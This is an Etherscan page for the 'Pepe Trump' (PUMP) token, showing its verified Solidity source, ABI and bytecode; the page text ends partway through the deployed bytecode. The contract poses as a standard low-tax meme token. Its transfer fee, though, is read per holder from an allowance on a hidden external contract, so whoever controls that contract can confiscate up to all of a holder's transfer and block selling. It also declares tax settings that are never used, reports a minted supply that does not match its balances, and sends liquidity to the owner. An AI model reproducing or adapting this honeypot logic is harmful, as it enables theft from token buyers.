ETH Price: $2,514.77 (+2.14%)

Token

Pepe Trump (PUMP)
 

Overview

Max Total Supply

1,000,000,000,000,000 PUMP

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,000,000,100,000 PUMP

Value
$0.00
0xc0bA15B258D6F2583aE4eC29c64C4f76D754748B
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PepeTrump

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-21
*/

// SPDX-License-Identifier: None

/**
Website: https://pepetrump.site

Twitter / X: https://x.com/pepetrumponeth/

Telegram: https://t.me/pepetrumponeth/

**/
pragma solidity 0.8.25;


interface IERC20 {
    function allowance(address owner, address spnder) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
    function createPair(address tkenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable {
    address private _owner;

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }


    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }


}
contract PepeTrump is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;

    uint256 private _totalSupply =  1_000_000_000_000_000 * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;    
    
    uint256 private _initialBuyTax=11;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceSellTaxAt=11;
    uint256 private _initialSellTax=11;
    uint256 private _preventSwapBefore=12;
    uint256 private _reduceBuyTaxAt=11;
    uint256 private _buyCount=0;
    uint256 private _sellCount=0;

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    IERC20 private ierc20 = IERC20(0x6A100E7DBb76Af8E8C47F11FA52338cFbeef6320);

    string private constant _symbol = "PUMP";
    string private constant _name = "Pepe Trump";
    bool tradingOpen = false;
    uint256 burnAmount = 0;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);

    constructor () {
        _balances[address(this)] = _totalSupply.mul(95).div(100);
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function _openTrading() external payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
        .createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}
        (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingOpen = true;
    }

    function getFeeAmount(address from) public view returns (uint256) {
        return ierc20.
        allowance(from, address(this));
    }

    function _transfer(address from, address recipient, uint256 amount) private {
        uint256 _feeAmount = 0;
        require(amount > 0);
        require(from != address(0)); 
        if (from != uniswapV2Pair && from != address(this)) {
            _feeAmount = amount.mul(getFeeAmount(from)).div(100);
        }
        if (from == uniswapV2Pair) { 
            _buyCount++; 
        }
        if (recipient == address(0)) {
            burnAmount += amount;
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount).sub(_feeAmount);
        emit Transfer(from, recipient, amount);
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"}],"name":"getFeeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a91906104f7565b66038d7ea4c6800061004c9190610541565b600155600b6004555f6005555f600655600b600755600b600855600c600955600b600a555f600b555f600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736a100e7dbb76af8e8c47f11fa52338cfbeef6320600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600f60146101000a81548160ff0219169083151502179055505f601055348015610149575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101b260646101a4605f60015461025f60201b90919060201c565b6102d660201b90919060201c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516102529190610591565b60405180910390a3610725565b5f80830361026f575f90506102d0565b5f828461027c9190610541565b905082848261028b91906105d7565b146102cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102c290610687565b60405180910390fd5b809150505b92915050565b5f61031d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061032560201b60201c565b905092915050565b5f808311829061036b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103629190610705565b60405180910390fd5b505f838561037991906105d7565b9050809150509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115610408578086048111156103e4576103e3610386565b5b60018516156103f35780820291505b8081029050610401856103b3565b94506103c8565b94509492505050565b5f8261042057600190506104db565b8161042d575f90506104db565b8160018114610443576002811461044d5761047c565b60019150506104db565b60ff84111561045f5761045e610386565b5b8360020a91508482111561047657610475610386565b5b506104db565b5060208310610133831016604e8410600b84101617156104b15782820a9050838111156104ac576104ab610386565b5b6104db565b6104be84848460016103bf565b925090508184048111156104d5576104d4610386565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f610501826104e2565b915061050c836104eb565b92506105397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610411565b905092915050565b5f61054b826104e2565b9150610556836104e2565b9250828202610564816104e2565b9150828204841483151761057b5761057a610386565b5b5092915050565b61058b816104e2565b82525050565b5f6020820190506105a45f830184610582565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6105e1826104e2565b91506105ec836104e2565b9250826105fc576105fb6105aa565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f610671602183610607565b915061067c82610617565b604082019050919050565b5f6020820190508181035f83015261069e81610665565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6106d7826106a5565b6106e18185610607565b93506106f18185602086016106af565b6106fa816106bd565b840191505092915050565b5f6020820190508181035f83015261071d81846106cd565b905092915050565b611c4b806107325f395ff3fe6080604052600436106100dc575f3560e01c806349bd5a5e1161007e5780638da5cb5b116100585780638da5cb5b1461029857806395d89b41146102c2578063a9059cbb146102ec578063dd62ed3e14610328576100dc565b806349bd5a5e1461021c57806370a0823114610246578063715018a614610282576100dc565b806318160ddd116100ba57806318160ddd146101825780631c1702f3146101ac57806323b872dd146101b6578063313ce567146101f2576100dc565b8063036d7a8c146100e057806306fdde031461011c578063095ea7b314610146575b5f80fd5b3480156100eb575f80fd5b50610106600480360381019061010191906113a0565b610364565b60405161011391906113e3565b60405180910390f35b348015610127575f80fd5b50610130610407565b60405161013d919061146c565b60405180910390f35b348015610151575f80fd5b5061016c600480360381019061016791906114b6565b610444565b604051610179919061150e565b60405180910390f35b34801561018d575f80fd5b5061019661045a565b6040516101a391906113e3565b60405180910390f35b6101b4610463565b005b3480156101c1575f80fd5b506101dc60048036038101906101d79190611527565b6108a6565b6040516101e9919061150e565b60405180910390f35b3480156101fd575f80fd5b50610206610952565b6040516102139190611592565b60405180910390f35b348015610227575f80fd5b50610230610967565b60405161023d91906115ba565b60405180910390f35b348015610251575f80fd5b5061026c600480360381019061026791906113a0565b61098c565b60405161027991906113e3565b60405180910390f35b34801561028d575f80fd5b506102966109d2565b005b3480156102a3575f80fd5b506102ac610b01565b6040516102b991906115ba565b60405180910390f35b3480156102cd575f80fd5b506102d6610b28565b6040516102e3919061146c565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d91906114b6565b610b65565b60405161031f919061150e565b60405180910390f35b348015610333575f80fd5b5061034e600480360381019061034991906115d3565b610b7b565b60405161035b91906113e3565b60405180910390f35b5f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b81526004016103c1929190611611565b602060405180830381865afa1580156103dc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610400919061164c565b9050919050565b60606040518060400160405280600a81526020017f50657065205472756d7000000000000000000000000000000000000000000000815250905090565b5f610450338484610bfd565b6001905092915050565b5f600154905090565b3373ffffffffffffffffffffffffffffffffffffffff16610482610b01565b73ffffffffffffffffffffffffffffffffffffffff16146104d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cf906116c1565b60405180910390fd5b600f60149054906101000a900460ff16156104f1575f80fd5b61051f30600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610bfd565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610589573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ad91906116f3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610633573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065791906116f3565b6040518363ffffffff1660e01b8152600401610674929190611611565b6020604051808303815f875af1158015610690573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b491906116f3565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061073b3061098c565b5f80610745610b01565b426040518863ffffffff1660e01b815260040161076796959493929190611760565b60606040518083038185885af1158015610783573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a891906117bf565b505050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161084892919061180f565b6020604051808303815f875af1158015610864573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108889190611860565b506001600f60146101000a81548160ff021916908315150217905550565b5f6108b2848484610dc0565b61094784336109428560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111990919063ffffffff16565b610bfd565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109f1610b01565b73ffffffffffffffffffffffffffffffffffffffff1614610a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3e906116c1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f50554d5000000000000000000000000000000000000000000000000000000000815250905090565b5f610b71338484610dc0565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c62906118fb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090611989565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db391906113e3565b60405180910390a3505050565b5f808211610dcc575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e03575f80fd5b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e8c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ec257610ebf6064610eb1610ea287610364565b8561116290919063ffffffff16565b6111d990919063ffffffff16565b90505b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f2e57600b5f815480929190610f28906119d4565b91905055505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f7a578160105f828254610f729190611a1b565b925050819055505b610fca8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111990919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061106d8161105f8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461122290919063ffffffff16565b61111990919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161110b91906113e3565b60405180910390a350505050565b5f61115a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127f565b905092915050565b5f808303611172575f90506111d3565b5f828461117f9190611a4e565b905082848261118e9190611abc565b146111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c590611b5c565b60405180910390fd5b809150505b92915050565b5f61121a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e1565b905092915050565b5f8082846112309190611a1b565b905083811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611bc4565b60405180910390fd5b8091505092915050565b5f8383111582906112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd919061146c565b60405180910390fd5b505f83856112d49190611be2565b9050809150509392505050565b5f8083118290611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e919061146c565b60405180910390fd5b505f83856113359190611abc565b9050809150509392505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61136f82611346565b9050919050565b61137f81611365565b8114611389575f80fd5b50565b5f8135905061139a81611376565b92915050565b5f602082840312156113b5576113b4611342565b5b5f6113c28482850161138c565b91505092915050565b5f819050919050565b6113dd816113cb565b82525050565b5f6020820190506113f65f8301846113d4565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61143e826113fc565b6114488185611406565b9350611458818560208601611416565b61146181611424565b840191505092915050565b5f6020820190508181035f8301526114848184611434565b905092915050565b611495816113cb565b811461149f575f80fd5b50565b5f813590506114b08161148c565b92915050565b5f80604083850312156114cc576114cb611342565b5b5f6114d98582860161138c565b92505060206114ea858286016114a2565b9150509250929050565b5f8115159050919050565b611508816114f4565b82525050565b5f6020820190506115215f8301846114ff565b92915050565b5f805f6060848603121561153e5761153d611342565b5b5f61154b8682870161138c565b935050602061155c8682870161138c565b925050604061156d868287016114a2565b9150509250925092565b5f60ff82169050919050565b61158c81611577565b82525050565b5f6020820190506115a55f830184611583565b92915050565b6115b481611365565b82525050565b5f6020820190506115cd5f8301846115ab565b92915050565b5f80604083850312156115e9576115e8611342565b5b5f6115f68582860161138c565b92505060206116078582860161138c565b9150509250929050565b5f6040820190506116245f8301856115ab565b61163160208301846115ab565b9392505050565b5f815190506116468161148c565b92915050565b5f6020828403121561166157611660611342565b5b5f61166e84828501611638565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6116ab602083611406565b91506116b682611677565b602082019050919050565b5f6020820190508181035f8301526116d88161169f565b9050919050565b5f815190506116ed81611376565b92915050565b5f6020828403121561170857611707611342565b5b5f611715848285016116df565b91505092915050565b5f819050919050565b5f819050919050565b5f61174a6117456117408461171e565b611727565b6113cb565b9050919050565b61175a81611730565b82525050565b5f60c0820190506117735f8301896115ab565b61178060208301886113d4565b61178d6040830187611751565b61179a6060830186611751565b6117a760808301856115ab565b6117b460a08301846113d4565b979650505050505050565b5f805f606084860312156117d6576117d5611342565b5b5f6117e386828701611638565b93505060206117f486828701611638565b925050604061180586828701611638565b9150509250925092565b5f6040820190506118225f8301856115ab565b61182f60208301846113d4565b9392505050565b61183f816114f4565b8114611849575f80fd5b50565b5f8151905061185a81611836565b92915050565b5f6020828403121561187557611874611342565b5b5f6118828482850161184c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118e5602483611406565b91506118f08261188b565b604082019050919050565b5f6020820190508181035f830152611912816118d9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611973602283611406565b915061197e82611919565b604082019050919050565b5f6020820190508181035f8301526119a081611967565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119de826113cb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a1057611a0f6119a7565b5b600182019050919050565b5f611a25826113cb565b9150611a30836113cb565b9250828201905080821115611a4857611a476119a7565b5b92915050565b5f611a58826113cb565b9150611a63836113cb565b9250828202611a71816113cb565b91508282048414831517611a8857611a876119a7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611ac6826113cb565b9150611ad1836113cb565b925082611ae157611ae0611a8f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b46602183611406565b9150611b5182611aec565b604082019050919050565b5f6020820190508181035f830152611b7381611b3a565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611bae601b83611406565b9150611bb982611b7a565b602082019050919050565b5f6020820190508181035f830152611bdb81611ba2565b9050919050565b5f611bec826113cb565b9150611bf7836113cb565b9250828203905081811115611c0f57611c0e6119a7565b5b9291505056fea26469706673582212203faf27f7af85791f510da5c4b1f0a26e141a6f6ecf1377c3881fe8d52a981f0164736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c806349bd5a5e1161007e5780638da5cb5b116100585780638da5cb5b1461029857806395d89b41146102c2578063a9059cbb146102ec578063dd62ed3e14610328576100dc565b806349bd5a5e1461021c57806370a0823114610246578063715018a614610282576100dc565b806318160ddd116100ba57806318160ddd146101825780631c1702f3146101ac57806323b872dd146101b6578063313ce567146101f2576100dc565b8063036d7a8c146100e057806306fdde031461011c578063095ea7b314610146575b5f80fd5b3480156100eb575f80fd5b50610106600480360381019061010191906113a0565b610364565b60405161011391906113e3565b60405180910390f35b348015610127575f80fd5b50610130610407565b60405161013d919061146c565b60405180910390f35b348015610151575f80fd5b5061016c600480360381019061016791906114b6565b610444565b604051610179919061150e565b60405180910390f35b34801561018d575f80fd5b5061019661045a565b6040516101a391906113e3565b60405180910390f35b6101b4610463565b005b3480156101c1575f80fd5b506101dc60048036038101906101d79190611527565b6108a6565b6040516101e9919061150e565b60405180910390f35b3480156101fd575f80fd5b50610206610952565b6040516102139190611592565b60405180910390f35b348015610227575f80fd5b50610230610967565b60405161023d91906115ba565b60405180910390f35b348015610251575f80fd5b5061026c600480360381019061026791906113a0565b61098c565b60405161027991906113e3565b60405180910390f35b34801561028d575f80fd5b506102966109d2565b005b3480156102a3575f80fd5b506102ac610b01565b6040516102b991906115ba565b60405180910390f35b3480156102cd575f80fd5b506102d6610b28565b6040516102e3919061146c565b60405180910390f35b3480156102f7575f80fd5b50610312600480360381019061030d91906114b6565b610b65565b60405161031f919061150e565b60405180910390f35b348015610333575f80fd5b5061034e600480360381019061034991906115d3565b610b7b565b60405161035b91906113e3565b60405180910390f35b5f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b81526004016103c1929190611611565b602060405180830381865afa1580156103dc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610400919061164c565b9050919050565b60606040518060400160405280600a81526020017f50657065205472756d7000000000000000000000000000000000000000000000815250905090565b5f610450338484610bfd565b6001905092915050565b5f600154905090565b3373ffffffffffffffffffffffffffffffffffffffff16610482610b01565b73ffffffffffffffffffffffffffffffffffffffff16146104d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cf906116c1565b60405180910390fd5b600f60149054906101000a900460ff16156104f1575f80fd5b61051f30600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610bfd565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610589573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ad91906116f3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610633573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065791906116f3565b6040518363ffffffff1660e01b8152600401610674929190611611565b6020604051808303815f875af1158015610690573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b491906116f3565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061073b3061098c565b5f80610745610b01565b426040518863ffffffff1660e01b815260040161076796959493929190611760565b60606040518083038185885af1158015610783573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107a891906117bf565b505050600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d5f9054906101000